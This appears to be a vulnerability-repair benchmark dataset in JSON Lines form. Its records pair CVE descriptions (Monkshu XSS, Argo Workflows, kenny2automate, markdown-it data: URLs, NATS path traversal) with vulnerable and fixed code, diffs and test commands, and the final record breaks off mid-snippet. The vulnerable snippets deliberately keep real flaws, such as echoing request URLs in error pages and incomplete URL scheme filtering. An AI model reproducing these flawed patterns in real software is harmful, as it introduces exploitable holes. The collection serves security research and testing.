{"cve_id": "CVE-2021-32812", "cve_description": "Monkshu is an enterprise application server for mobile apps (iOS and Android), responsive HTML 5 apps, and JSON API services. In version 2.90 and earlier, there is a reflected cross-site scripting vulnerability in frontend HTTP server. The attacker can send in a carefully crafted URL along with a known bug in the server which will cause a 500 error, and the response will then embed the URL provided by the hacker. The impact is moderate as the hacker must also be able to craft an HTTP request which should cause a 500 server error. None such requests are known as this point. The issue is patched in version 2.95. As a workaround, one may use a disk caching plugin.", "cwe_info": {"CWE-116": {"name": "Improper Encoding or Escaping of Output", "description": "The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved."}}, "repo": "https://github.com/TekMonksGitHub/monkshu", "patch_url": ["https://github.com/TekMonksGitHub/monkshu/commit/4601a9bfdc934d7ac32619ce621652fad0cf452b"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_284_1", "commit": "c83fde7f212aa049f8f3028f15d9ed4083e77dee", "file_path": "frontend/server/server.js", "start_line": 122, "end_line": 144, "snippet": "function _sendFile(fileRequested, req, res, stats) {\n\tfs.open(fileRequested, \"r\", (err, fd) => {\t\n\t\tif (err) (err.code === \"ENOENT\") ? _sendError(req, res, 404, \"Path Not Found.\") : _sendError(req, res, 500, err);\n\t\telse {\n\t\t\taccess.info(`Sending: ${fileRequested}`);\n\t\t\tconst mime = conf.mimeTypes[path.extname(fileRequested)];\n\t\t\tconst rawStream = fs.createReadStream(null, {\"flags\":\"r\",\"fd\":fd,\"autoClose\":true});\n\t\t\tconst acceptEncodingHeader = req.headers[\"accept-encoding\"] || \"\";\n\n\t\t\tif (conf.enableGZIPEncoding && acceptEncodingHeader.includes(\"gzip\") && mime && (!Array.isArray(mime) || Array.isArray(mime) && mime[1]) ) {\n\t\t\t\tres.writeHead(200, _getServerHeaders({ \"Content-Type\": Array.isArray(mime)?mime[0]:mime, \"Content-Encoding\": \"gzip\" }, stats));\n\t\t\t\trawStream.pipe(zlib.createGzip()).pipe(res)\n\t\t\t\t.on(\"error\", err => _sendError(req, res, 500, `500: ${req.url}, Server error: ${err}`))\n\t\t\t\t.on(\"end\", _ => res.end());\n\t\t\t} else {\n\t\t\t\tres.writeHead(200, mime ? _getServerHeaders({\"Content-Type\":Array.isArray(mime)?mime[0]:mime}, stats) : _getServerHeaders({}, stats));\n\t\t\t\trawStream.on(\"data\", chunk => res.write(chunk, \"binary\"))\n\t\t\t\t\t.on(\"error\", err => _sendError(req, res, 500, `500: ${req.url}, Server error: ${err}`))\n\t\t\t\t\t.on(\"end\", _ => res.end());\n\t\t\t}\n\t\t}\n\t});\n}"}], "fix_func": [{"id": "fix_js_284_1", "commit": "4601a9bfdc934d7ac32619ce621652fad0cf452b", "file_path": "frontend/server/server.js", "start_line": 122, "end_line": 144, "snippet": "function _sendFile(fileRequested, req, res, stats) {\n\tfs.open(fileRequested, \"r\", (err, fd) => {\t\n\t\tif (err) (err.code === \"ENOENT\") ? _sendError(req, res, 404, \"Path Not Found.\") : _sendError(req, res, 500, err);\n\t\telse {\n\t\t\taccess.info(`Sending: ${fileRequested}`);\n\t\t\tconst mime = conf.mimeTypes[path.extname(fileRequested)];\n\t\t\tconst rawStream = fs.createReadStream(null, {\"flags\":\"r\",\"fd\":fd,\"autoClose\":true});\n\t\t\tconst acceptEncodingHeader = req.headers[\"accept-encoding\"] || \"\";\n\n\t\t\tif (conf.enableGZIPEncoding && acceptEncodingHeader.includes(\"gzip\") && mime && (!Array.isArray(mime) || Array.isArray(mime) && mime[1]) ) {\n\t\t\t\tres.writeHead(200, _getServerHeaders({ \"Content-Type\": Array.isArray(mime)?mime[0]:mime, \"Content-Encoding\": \"gzip\" }, stats));\n\t\t\t\trawStream.pipe(zlib.createGzip()).pipe(res)\n\t\t\t\t.on(\"error\", err => _sendError(req, res, 500, `500: Error: ${err}`))\n\t\t\t\t.on(\"end\", _ => res.end());\n\t\t\t} else {\n\t\t\t\tres.writeHead(200, mime ? _getServerHeaders({\"Content-Type\":Array.isArray(mime)?mime[0]:mime}, stats) : _getServerHeaders({}, stats));\n\t\t\t\trawStream.on(\"data\", chunk => res.write(chunk, \"binary\"))\n\t\t\t\t\t.on(\"error\", err => _sendError(req, res, 500, `500: Error: ${err}`))\n\t\t\t\t\t.on(\"end\", _ => res.end());\n\t\t\t}\n\t\t}\n\t});\n}"}], "vul_patch": "--- a/frontend/server/server.js\n+++ b/frontend/server/server.js\n@@ -10,12 +10,12 @@\n \t\t\tif (conf.enableGZIPEncoding && acceptEncodingHeader.includes(\"gzip\") && mime && (!Array.isArray(mime) || Array.isArray(mime) && mime[1]) ) {\n \t\t\t\tres.writeHead(200, _getServerHeaders({ \"Content-Type\": Array.isArray(mime)?mime[0]:mime, \"Content-Encoding\": \"gzip\" }, stats));\n \t\t\t\trawStream.pipe(zlib.createGzip()).pipe(res)\n-\t\t\t\t.on(\"error\", err => _sendError(req, res, 500, `500: ${req.url}, Server error: ${err}`))\n+\t\t\t\t.on(\"error\", err => _sendError(req, res, 500, `500: Error: ${err}`))\n \t\t\t\t.on(\"end\", _ => res.end());\n \t\t\t} else {\n \t\t\t\tres.writeHead(200, mime ? _getServerHeaders({\"Content-Type\":Array.isArray(mime)?mime[0]:mime}, stats) : _getServerHeaders({}, stats));\n \t\t\t\trawStream.on(\"data\", chunk => res.write(chunk, \"binary\"))\n-\t\t\t\t\t.on(\"error\", err => _sendError(req, res, 500, `500: ${req.url}, Server error: ${err}`))\n+\t\t\t\t\t.on(\"error\", err => _sendError(req, res, 500, `500: Error: ${err}`))\n \t\t\t\t\t.on(\"end\", _ => res.end());\n \t\t\t}\n \t\t}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-29164", "cve_description": "Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. In affected versions an attacker can create a workflow which produces a HTML artifact containing an HTML file that contains a script which uses XHR calls to interact with the Argo Server API. The attacker emails the deep-link to the artifact to their victim. The victim opens the link, the script starts running. As the script has access to the Argo Server API (as the victim), so may read information about the victim\u2019s workflows, or create and delete workflows. Note the attacker must be an insider: they must have access to the same cluster as the victim and must already be able to run their own workflows. The attacker must have an understanding of the victim\u2019s system. We have seen no evidence of this in the wild. We urge all users to upgrade to the fixed versions.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/argoproj/argo-workflows", "patch_url": ["https://github.com/argoproj/argo-workflows/commit/87470e1c2bf703a9110e97bb755614ce8757fdcc"], "programing_language": "Go", "vul_func": [{"id": "vul_go_267_1", "commit": "61b80c90fd93aebff26df73fcddffa75732d10ec", "file_path": "server/apiserver/argoserver.go", "start_line": 297, "end_line": 367, "snippet": "func (as *argoServer) newHTTPServer(ctx context.Context, port int, artifactServer *artifacts.ArtifactServer) *http.Server {\n\tendpoint := fmt.Sprintf(\"localhost:%d\", port)\n\n\tmux := http.NewServeMux()\n\thttpServer := http.Server{\n\t\tAddr:      endpoint,\n\t\tHandler:   accesslog.Interceptor(mux),\n\t\tTLSConfig: as.tlsConfig,\n\t}\n\tdialOpts := []grpc.DialOption{\n\t\tgrpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(MaxGRPCMessageSize)),\n\t}\n\tif as.tlsConfig != nil {\n\t\tdialOpts = append(dialOpts, grpc.WithTransportCredentials(credentials.NewTLS(as.tlsConfig)))\n\t} else {\n\t\tdialOpts = append(dialOpts, grpc.WithTransportCredentials(insecure.NewCredentials()))\n\t}\n\n\twebhookInterceptor := webhook.Interceptor(as.clients.Kubernetes)\n\n\t// HTTP 1.1+JSON Server\n\t// grpc-ecosystem/grpc-gateway is used to proxy HTTP requests to the corresponding gRPC call\n\t// NOTE: if a marshaller option is not supplied, grpc-gateway will default to the jsonpb from\n\t// golang/protobuf. Which does not support types such as time.Time. gogo/protobuf does support\n\t// time.Time, but does not support custom UnmarshalJSON() and MarshalJSON() methods. Therefore\n\t// we use our own Marshaler\n\tgwMuxOpts := runtime.WithMarshalerOption(runtime.MIMEWildcard, new(json.JSONMarshaler))\n\tgwmux := runtime.NewServeMux(gwMuxOpts,\n\t\truntime.WithIncomingHeaderMatcher(func(key string) (string, bool) { return key, true }),\n\t\truntime.WithProtoErrorHandler(runtime.DefaultHTTPProtoErrorHandler),\n\t)\n\tmustRegisterGWHandler(infopkg.RegisterInfoServiceHandlerFromEndpoint, ctx, gwmux, endpoint, dialOpts)\n\tmustRegisterGWHandler(eventpkg.RegisterEventServiceHandlerFromEndpoint, ctx, gwmux, endpoint, dialOpts)\n\tmustRegisterGWHandler(eventsourcepkg.RegisterEventSourceServiceHandlerFromEndpoint, ctx, gwmux, endpoint, dialOpts)\n\tmustRegisterGWHandler(sensorpkg.RegisterSensorServiceHandlerFromEndpoint, ctx, gwmux, endpoint, dialOpts)\n\tmustRegisterGWHandler(pipelinepkg.RegisterPipelineServiceHandlerFromEndpoint, ctx, gwmux, endpoint, dialOpts)\n\tmustRegisterGWHandler(workflowpkg.RegisterWorkflowServiceHandlerFromEndpoint, ctx, gwmux, endpoint, dialOpts)\n\tmustRegisterGWHandler(workflowtemplatepkg.RegisterWorkflowTemplateServiceHandlerFromEndpoint, ctx, gwmux, endpoint, dialOpts)\n\tmustRegisterGWHandler(cronworkflowpkg.RegisterCronWorkflowServiceHandlerFromEndpoint, ctx, gwmux, endpoint, dialOpts)\n\tmustRegisterGWHandler(workflowarchivepkg.RegisterArchivedWorkflowServiceHandlerFromEndpoint, ctx, gwmux, endpoint, dialOpts)\n\tmustRegisterGWHandler(clusterwftemplatepkg.RegisterClusterWorkflowTemplateServiceHandlerFromEndpoint, ctx, gwmux, endpoint, dialOpts)\n\n\tmux.HandleFunc(\"/api/\", func(w http.ResponseWriter, r *http.Request) {\n\t\t// we must delete this header for API request to prevent \"stream terminated by RST_STREAM with error code: PROTOCOL_ERROR\" error\n\t\tr.Header.Del(\"Connection\")\n\t\twebhookInterceptor(w, r, gwmux)\n\t})\n\tmux.HandleFunc(\"/artifacts/\", artifactServer.GetOutputArtifact)\n\tmux.HandleFunc(\"/input-artifacts/\", artifactServer.GetInputArtifact)\n\tmux.HandleFunc(\"/artifacts-by-uid/\", artifactServer.GetOutputArtifactByUID)\n\tmux.HandleFunc(\"/input-artifacts-by-uid/\", artifactServer.GetInputArtifactByUID)\n\tmux.HandleFunc(\"/artifact-files/\", artifactServer.GetArtifactFile)\n\tmux.Handle(\"/oauth2/redirect\", handlers.ProxyHeaders(http.HandlerFunc(as.oAuth2Service.HandleRedirect)))\n\tmux.Handle(\"/oauth2/callback\", handlers.ProxyHeaders(http.HandlerFunc(as.oAuth2Service.HandleCallback)))\n\tmux.HandleFunc(\"/metrics\", func(w http.ResponseWriter, r *http.Request) {\n\t\tif os.Getenv(\"ARGO_SERVER_METRICS_AUTH\") != \"false\" {\n\t\t\theader := metadata.New(map[string]string{\"authorization\": r.Header.Get(\"Authorization\")})\n\t\t\tctx := metadata.NewIncomingContext(context.Background(), header)\n\t\t\tif _, err := as.gatekeeper.Context(ctx); err != nil {\n\t\t\t\tlog.WithError(err).Error(\"failed to authenticate /metrics endpoint\")\n\t\t\t\tw.WriteHeader(403)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\tpromhttp.Handler().ServeHTTP(w, r)\n\n\t})\n\t// we only enable HTST if we are secure mode, otherwise you would never be able access the UI\n\tmux.HandleFunc(\"/\", static.NewFilesServer(as.baseHRef, as.tlsConfig != nil && as.hsts, as.xframeOptions, as.accessControlAllowOrigin).ServerFiles)\n\treturn &httpServer\n}"}], "fix_func": [{"id": "fix_go_267_1", "commit": "87470e1c2bf703a9110e97bb755614ce8757fdcc", "file_path": "server/apiserver/argoserver.go", "start_line": 297, "end_line": 371, "snippet": "func (as *argoServer) newHTTPServer(ctx context.Context, port int, artifactServer *artifacts.ArtifactServer) *http.Server {\n\tendpoint := fmt.Sprintf(\"localhost:%d\", port)\n\n\tmux := http.NewServeMux()\n\thttpServer := http.Server{\n\t\tAddr:      endpoint,\n\t\tHandler:   accesslog.Interceptor(mux),\n\t\tTLSConfig: as.tlsConfig,\n\t}\n\tdialOpts := []grpc.DialOption{\n\t\tgrpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(MaxGRPCMessageSize)),\n\t}\n\tif as.tlsConfig != nil {\n\t\tdialOpts = append(dialOpts, grpc.WithTransportCredentials(credentials.NewTLS(as.tlsConfig)))\n\t} else {\n\t\tdialOpts = append(dialOpts, grpc.WithTransportCredentials(insecure.NewCredentials()))\n\t}\n\n\twebhookInterceptor := webhook.Interceptor(as.clients.Kubernetes)\n\n\t// HTTP 1.1+JSON Server\n\t// grpc-ecosystem/grpc-gateway is used to proxy HTTP requests to the corresponding gRPC call\n\t// NOTE: if a marshaller option is not supplied, grpc-gateway will default to the jsonpb from\n\t// golang/protobuf. Which does not support types such as time.Time. gogo/protobuf does support\n\t// time.Time, but does not support custom UnmarshalJSON() and MarshalJSON() methods. Therefore\n\t// we use our own Marshaler\n\tgwMuxOpts := runtime.WithMarshalerOption(runtime.MIMEWildcard, new(json.JSONMarshaler))\n\tgwmux := runtime.NewServeMux(gwMuxOpts,\n\t\truntime.WithIncomingHeaderMatcher(func(key string) (string, bool) { return key, true }),\n\t\truntime.WithProtoErrorHandler(runtime.DefaultHTTPProtoErrorHandler),\n\t)\n\tmustRegisterGWHandler(infopkg.RegisterInfoServiceHandlerFromEndpoint, ctx, gwmux, endpoint, dialOpts)\n\tmustRegisterGWHandler(eventpkg.RegisterEventServiceHandlerFromEndpoint, ctx, gwmux, endpoint, dialOpts)\n\tmustRegisterGWHandler(eventsourcepkg.RegisterEventSourceServiceHandlerFromEndpoint, ctx, gwmux, endpoint, dialOpts)\n\tmustRegisterGWHandler(sensorpkg.RegisterSensorServiceHandlerFromEndpoint, ctx, gwmux, endpoint, dialOpts)\n\tmustRegisterGWHandler(pipelinepkg.RegisterPipelineServiceHandlerFromEndpoint, ctx, gwmux, endpoint, dialOpts)\n\tmustRegisterGWHandler(workflowpkg.RegisterWorkflowServiceHandlerFromEndpoint, ctx, gwmux, endpoint, dialOpts)\n\tmustRegisterGWHandler(workflowtemplatepkg.RegisterWorkflowTemplateServiceHandlerFromEndpoint, ctx, gwmux, endpoint, dialOpts)\n\tmustRegisterGWHandler(cronworkflowpkg.RegisterCronWorkflowServiceHandlerFromEndpoint, ctx, gwmux, endpoint, dialOpts)\n\tmustRegisterGWHandler(workflowarchivepkg.RegisterArchivedWorkflowServiceHandlerFromEndpoint, ctx, gwmux, endpoint, dialOpts)\n\tmustRegisterGWHandler(clusterwftemplatepkg.RegisterClusterWorkflowTemplateServiceHandlerFromEndpoint, ctx, gwmux, endpoint, dialOpts)\n\n\tmux.HandleFunc(\"/api/\", func(w http.ResponseWriter, r *http.Request) {\n\t\t// we must delete this header for API request to prevent \"stream terminated by RST_STREAM with error code: PROTOCOL_ERROR\" error\n\t\tr.Header.Del(\"Connection\")\n\t\twebhookInterceptor(w, r, gwmux)\n\t})\n\n\t// emergency environment variable that allows you to disable the artifact service in case of problems\n\tif os.Getenv(\"ARGO_ARTIFACT_SERVER\") != \"false\" {\n\t\tmux.HandleFunc(\"/artifacts/\", artifactServer.GetOutputArtifact)\n\t\tmux.HandleFunc(\"/input-artifacts/\", artifactServer.GetInputArtifact)\n\t\tmux.HandleFunc(\"/artifacts-by-uid/\", artifactServer.GetOutputArtifactByUID)\n\t\tmux.HandleFunc(\"/input-artifacts-by-uid/\", artifactServer.GetInputArtifactByUID)\n\t\tmux.HandleFunc(\"/artifact-files/\", artifactServer.GetArtifactFile)\n\t}\n\tmux.Handle(\"/oauth2/redirect\", handlers.ProxyHeaders(http.HandlerFunc(as.oAuth2Service.HandleRedirect)))\n\tmux.Handle(\"/oauth2/callback\", handlers.ProxyHeaders(http.HandlerFunc(as.oAuth2Service.HandleCallback)))\n\tmux.HandleFunc(\"/metrics\", func(w http.ResponseWriter, r *http.Request) {\n\t\tif os.Getenv(\"ARGO_SERVER_METRICS_AUTH\") != \"false\" {\n\t\t\theader := metadata.New(map[string]string{\"authorization\": r.Header.Get(\"Authorization\")})\n\t\t\tctx := metadata.NewIncomingContext(context.Background(), header)\n\t\t\tif _, err := as.gatekeeper.Context(ctx); err != nil {\n\t\t\t\tlog.WithError(err).Error(\"failed to authenticate /metrics endpoint\")\n\t\t\t\tw.WriteHeader(403)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\tpromhttp.Handler().ServeHTTP(w, r)\n\n\t})\n\t// we only enable HTST if we are secure mode, otherwise you would never be able access the UI\n\tmux.HandleFunc(\"/\", static.NewFilesServer(as.baseHRef, as.tlsConfig != nil && as.hsts, as.xframeOptions, as.accessControlAllowOrigin).ServerFiles)\n\treturn &httpServer\n}"}], "vul_patch": "--- a/server/apiserver/argoserver.go\n+++ b/server/apiserver/argoserver.go\n@@ -45,11 +45,15 @@\n \t\tr.Header.Del(\"Connection\")\n \t\twebhookInterceptor(w, r, gwmux)\n \t})\n-\tmux.HandleFunc(\"/artifacts/\", artifactServer.GetOutputArtifact)\n-\tmux.HandleFunc(\"/input-artifacts/\", artifactServer.GetInputArtifact)\n-\tmux.HandleFunc(\"/artifacts-by-uid/\", artifactServer.GetOutputArtifactByUID)\n-\tmux.HandleFunc(\"/input-artifacts-by-uid/\", artifactServer.GetInputArtifactByUID)\n-\tmux.HandleFunc(\"/artifact-files/\", artifactServer.GetArtifactFile)\n+\n+\t// emergency environment variable that allows you to disable the artifact service in case of problems\n+\tif os.Getenv(\"ARGO_ARTIFACT_SERVER\") != \"false\" {\n+\t\tmux.HandleFunc(\"/artifacts/\", artifactServer.GetOutputArtifact)\n+\t\tmux.HandleFunc(\"/input-artifacts/\", artifactServer.GetInputArtifact)\n+\t\tmux.HandleFunc(\"/artifacts-by-uid/\", artifactServer.GetOutputArtifactByUID)\n+\t\tmux.HandleFunc(\"/input-artifacts-by-uid/\", artifactServer.GetInputArtifactByUID)\n+\t\tmux.HandleFunc(\"/artifact-files/\", artifactServer.GetArtifactFile)\n+\t}\n \tmux.Handle(\"/oauth2/redirect\", handlers.ProxyHeaders(http.HandlerFunc(as.oAuth2Service.HandleRedirect)))\n \tmux.Handle(\"/oauth2/callback\", handlers.ProxyHeaders(http.HandlerFunc(as.oAuth2Service.HandleCallback)))\n \tmux.HandleFunc(\"/metrics\", func(w http.ResponseWriter, r *http.Request) {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-22452", "cve_description": "kenny2automate is a Discord bot. In the web interface for server settings, form elements were generated with Discord channel IDs as part of input names. Prior to commit a947d7c, no validation was performed to ensure that the channel IDs submitted actually belonged to the server being configured. Thus anyone who has access to the channel ID they wish to change settings for and the server settings panel for any server could change settings for the requested channel no matter which server it belonged to. Commit a947d7c resolves the issue and has been deployed to the official instance of the bot. The only workaround that exists is to disable the web config entirely by changing it to run on localhost. Note that a workaround is only necessary for those who run their own instance of the bot.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/Kenny2github/kenny2automate", "patch_url": ["https://github.com/Kenny2github/kenny2automate/commit/a947d7ce408687b587c7e6dfd6026f7c4ee31ac2"], "programing_language": "Python", "vul_func": [{"id": "vul_py_249_1", "commit": "a5e1ac9", "file_path": "kenny2automate/server/__init__.py", "start_line": 551, "end_line": 593, "snippet": "    async def save_server(self, request):\n        await self.elg(request)\n        guild = self.bot.get_guild(int(request.match_info.get('server', '0')))\n        if guild is None:\n            self.notfound()\n        if not guild.get_member(\n            int(self.getsesh(request)['client']['id'])\n        ).guild_permissions.administrator:\n            self.notfound()\n        data = await request.post()\n        params = []\n        otherparams = {}\n        for k in data.keys():\n            if not k.startswith('channel-'):\n                otherparams[k] = ','.join(data.getall(k))\n                continue\n            param = {'channel_id': int(k[len('channel-'):])}\n            for v in data.getall(k):\n                v = v.partition('=')\n                if v[0] == 'ping':\n                    if 'ping' not in param:\n                        param['ping'] = set()\n                    param['ping'].add(v[-1])\n                else:\n                    param[v[0]] = v[-1] or None\n            param['ping'] = '|'.join(param.get('ping', ())) or None\n            params.append(param)\n        otherparams['guild_id'] = guild.id\n        try:\n            with self.db.connection:\n                self.db.executemany(\n                    'UPDATE channels SET lang=:lang, games_ping=:ping \\\nWHERE channel_id=:channel_id',\n                    params\n                )\n                self.db.execute(\n                    'UPDATE guilds SET guild_disabled_commands=:disable_cmd, \\\nguild_disabled_cogs=:disable_cog, words_censor=:words_censor WHERE guild_id=:guild_id',\n                    otherparams\n                )\n        except sql.ProgrammingError as exc:\n            raise web.HTTPBadRequest(reason=str(exc))\n        raise web.HTTPSeeOther(request.path)"}], "fix_func": [{"id": "fix_py_249_1", "commit": "a947d7c", "file_path": "kenny2automate/server/__init__.py", "start_line": 551, "end_line": 596, "snippet": "    async def save_server(self, request):\n        await self.elg(request)\n        guild = self.bot.get_guild(int(request.match_info.get('server', '0')))\n        if guild is None:\n            self.notfound()\n        if not guild.get_member(\n            int(self.getsesh(request)['client']['id'])\n        ).guild_permissions.administrator:\n            self.notfound()\n        data = await request.post()\n        params = []\n        otherparams = {}\n        for k in data.keys():\n            if not k.startswith('channel-'):\n                otherparams[k] = ','.join(data.getall(k))\n                continue\n            param = {'channel_id': int(k[len('channel-'):])}\n            for v in data.getall(k):\n                v = v.partition('=')\n                if v[0] == 'ping':\n                    if 'ping' not in param:\n                        param['ping'] = set()\n                    param['ping'].add(v[-1])\n                else:\n                    param[v[0]] = v[-1] or None\n            param['ping'] = '|'.join(param.get('ping', ())) or None\n            params.append(param)\n        otherparams['guild_id'] = guild.id\n        if set(param['channel_id'] for param in params) \\\n                - set(channel.id for channel in guild.channels): # is not empty\n            raise web.HTTPBadRequest\n        try:\n            with self.db.connection:\n                self.db.executemany(\n                    'UPDATE channels SET lang=:lang, games_ping=:ping \\\nWHERE channel_id=:channel_id',\n                    params\n                )\n                self.db.execute(\n                    'UPDATE guilds SET guild_disabled_commands=:disable_cmd, \\\nguild_disabled_cogs=:disable_cog, words_censor=:words_censor WHERE guild_id=:guild_id',\n                    otherparams\n                )\n        except sql.ProgrammingError as exc:\n            raise web.HTTPBadRequest(reason=str(exc))\n        raise web.HTTPSeeOther(request.path)"}], "vul_patch": "--- a/kenny2automate/server/__init__.py\n+++ b/kenny2automate/server/__init__.py\n@@ -26,6 +26,9 @@\n             param['ping'] = '|'.join(param.get('ping', ())) or None\n             params.append(param)\n         otherparams['guild_id'] = guild.id\n+        if set(param['channel_id'] for param in params) \\\n+                - set(channel.id for channel in guild.channels): # is not empty\n+            raise web.HTTPBadRequest\n         try:\n             with self.db.connection:\n                 self.db.executemany(\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2015-3295", "cve_description": "markdown-it before 4.1.0 does not block data: URLs.", "cwe_info": {"CWE-284": {"name": "Improper Access Control", "description": "The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor."}}, "repo": "https://github.com/markdown-it/markdown-it", "patch_url": ["https://github.com/markdown-it/markdown-it/commit/f76d3beb46abd121892a2e2e5c78376354c214e3"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_61_1", "commit": "f7976b2", "file_path": "lib/index.js", "start_line": 24, "end_line": 35, "snippet": "var BAD_PROTOCOLS    = [ 'vbscript', 'javascript', 'file' ];\n\nfunction validateLink(url) {\n  // url should be normalized at this point, and existing entities are decoded\n  //\n  var str = url.trim().toLowerCase();\n\n  if (str.indexOf(':') >= 0 && BAD_PROTOCOLS.indexOf(str.split(':')[0]) >= 0) {\n    return false;\n  }\n  return true;\n}"}], "fix_func": [{"id": "fix_js_61_1", "commit": "f76d3be", "file_path": "lib/index.js", "start_line": 23, "end_line": 53, "snippet": "////////////////////////////////////////////////////////////////////////////////\n//\n// This validator does not pretent to functionality of full weight sanitizers.\n// It's a tradeoff between default security, simplicity and usability.\n// If you need different setup - override validator method as you wish. Or\n// replace it with dummy function and use external sanitizer.\n//\n\nvar BAD_PROTOCOLS      = [ 'vbscript', 'javascript', 'file', 'data' ];\nvar ALLOWED_DATA_MIMES = [\n  'data:image/gif',\n  'data:image/png',\n  'data:image/jpeg',\n  'data:image/webp'\n];\n\nfunction validateLink(url) {\n  // url should be normalized at this point, and existing entities are decoded\n\n  var str      = url.trim().toLowerCase(),\n      protocol = str.split(':')[0];\n\n  if (str.indexOf(':') >= 0 && BAD_PROTOCOLS.indexOf(protocol) >= 0) {\n    if (protocol === 'data' && ALLOWED_DATA_MIMES.indexOf(str.split(';')[0]) >= 0) {\n      return true;\n    }\n    return false;\n  }\n\n  return true;\n}"}], "vul_patch": "--- a/lib/index.js\n+++ b/lib/index.js\n@@ -1,12 +1,31 @@\n-var BAD_PROTOCOLS    = [ 'vbscript', 'javascript', 'file' ];\n+////////////////////////////////////////////////////////////////////////////////\n+//\n+// This validator does not pretent to functionality of full weight sanitizers.\n+// It's a tradeoff between default security, simplicity and usability.\n+// If you need different setup - override validator method as you wish. Or\n+// replace it with dummy function and use external sanitizer.\n+//\n+\n+var BAD_PROTOCOLS      = [ 'vbscript', 'javascript', 'file', 'data' ];\n+var ALLOWED_DATA_MIMES = [\n+  'data:image/gif',\n+  'data:image/png',\n+  'data:image/jpeg',\n+  'data:image/webp'\n+];\n \n function validateLink(url) {\n   // url should be normalized at this point, and existing entities are decoded\n-  //\n-  var str = url.trim().toLowerCase();\n \n-  if (str.indexOf(':') >= 0 && BAD_PROTOCOLS.indexOf(str.split(':')[0]) >= 0) {\n+  var str      = url.trim().toLowerCase(),\n+      protocol = str.split(':')[0];\n+\n+  if (str.indexOf(':') >= 0 && BAD_PROTOCOLS.indexOf(protocol) >= 0) {\n+    if (protocol === 'data' && ALLOWED_DATA_MIMES.indexOf(str.split(';')[0]) >= 0) {\n+      return true;\n+    }\n     return false;\n   }\n+\n   return true;\n }\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2015-3295:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/markdown-it\ngit apply --whitespace=nowarn /workspace/fix.patch /workspace/test.patch \nnpx mocha test/markdown-it.js\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2015-3295:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/markdown-it\ngit apply --whitespace=nowarn /workspace/fix.patch\n\nnpx mocha test/misc.js test/ruler.js test/utils.js test/token.js test/commonmark.js\n"}
{"cve_id": "CVE-2022-28357", "cve_description": "NATS nats-server 2.2.0 through 2.7.4 allows directory traversal because of an unintended path to a management action from a management account.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/nats-io/nats-server", "patch_url": ["https://github.com/nats-io/nats-server/commit/64feb142a92fb9bd98f117df8b5cd7fd71ee0c76"], "programing_language": "Go", "vul_func": [{"id": "vul_go_150_1", "commit": "92f4dc9", "file_path": "server/dirstore.go", "start_line": 313, "end_line": 329, "snippet": "func (store *DirJWTStore) Merge(pack string) error {\n\tnewJWTs := strings.Split(pack, \"\\n\")\n\tfor _, line := range newJWTs {\n\t\tif line == _EMPTY_ { // ignore blank lines\n\t\t\tcontinue\n\t\t}\n\t\tsplit := strings.Split(line, \"|\")\n\t\tif len(split) != 2 {\n\t\t\treturn fmt.Errorf(\"line in package didn't contain 2 entries: %q\", line)\n\t\t}\n\t\tpubKey := split[0]\n\t\tif err := store.saveIfNewer(pubKey, split[1]); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}"}, {"id": "vul_go_150_2", "commit": "92f4dc9", "file_path": "server/dirstore.go", "start_line": 369, "end_line": 380, "snippet": "func (store *DirJWTStore) pathForKey(publicKey string) string {\n\tif len(publicKey) < 2 {\n\t\treturn _EMPTY_\n\t}\n\tfileName := fmt.Sprintf(\"%s%s\", publicKey, fileExtension)\n\tif store.shard {\n\t\tlast := publicKey[len(publicKey)-2:]\n\t\treturn filepath.Join(store.directory, last, fileName)\n\t} else {\n\t\treturn filepath.Join(store.directory, fileName)\n\t}\n}"}, {"id": "vul_go_150_3", "commit": "92f4dc9", "file_path": "server/dirstore.go", "start_line": 492, "end_line": 529, "snippet": "func (store *DirJWTStore) saveIfNewer(publicKey string, theJWT string) error {\n\tif store.readonly {\n\t\treturn fmt.Errorf(\"store is read-only\")\n\t}\n\tpath := store.pathForKey(publicKey)\n\tif path == _EMPTY_ {\n\t\treturn fmt.Errorf(\"invalid public key\")\n\t}\n\tdirPath := filepath.Dir(path)\n\tif _, err := validateDirPath(dirPath); err != nil {\n\t\tif err := os.MkdirAll(dirPath, defaultDirPerms); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tif _, err := os.Stat(path); err == nil {\n\t\tif newJWT, err := jwt.DecodeGeneric(theJWT); err != nil {\n\t\t\t// skip if it can't be decoded\n\t\t} else if existing, err := ioutil.ReadFile(path); err != nil {\n\t\t\treturn err\n\t\t} else if existingJWT, err := jwt.DecodeGeneric(string(existing)); err != nil 